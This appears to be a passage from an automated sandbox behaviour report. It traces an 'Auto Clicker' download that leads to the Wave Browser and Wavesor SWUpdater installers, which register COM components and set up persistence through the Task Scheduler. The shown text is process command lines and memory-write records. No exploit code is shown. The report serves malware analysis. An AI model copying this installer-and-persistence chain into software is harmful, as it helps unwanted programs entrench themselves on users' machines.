PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 3864 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 3864 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 2728 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\Explorer.exe

C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\MurGaa Auto Clicker.app.zip"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb626c3cb8,0x7ffb626c3cc8,0x7ffb626c3cd8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1932 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2524 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3228 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3244 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4320 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4348 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3904 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4304 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5152 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3528 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5584 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5720 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4908 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5556 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5796 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2852 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2856 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5720 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3536 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6336 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5660 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6900 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6548 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6668 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7356 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7396 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7520 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7652 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7912 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8040 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8464 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8480 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8712 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8724 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8836 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9372 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8268 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2168 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6000 /prefetch:1

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004DC

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7176 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=10124 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7844 /prefetch:8

C:\Users\Admin\Downloads\Wave Browser.exe

"C:\Users\Admin\Downloads\Wave Browser.exe"

C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe

"C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe" /install "bundlename=WaveBrowser&appguid={EB149AD2-CE4E-4F51-B7FC-A149FAA4CCAF}&appname=WaveBrowser&needsadmin=False&lang=en&usagestats=1&installdataindex=1"

C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe

"C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe" /install "bundlename=WaveBrowser&appguid={EB149AD2-CE4E-4F51-B7FC-A149FAA4CCAF}&appname=WaveBrowser&needsadmin=False&lang=en&usagestats=1&installdataindex=1"

C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe

"C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe" /regserver

C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe

"C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe" /user

C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe

"C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe" /user

C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe

"C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe" /user

C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe

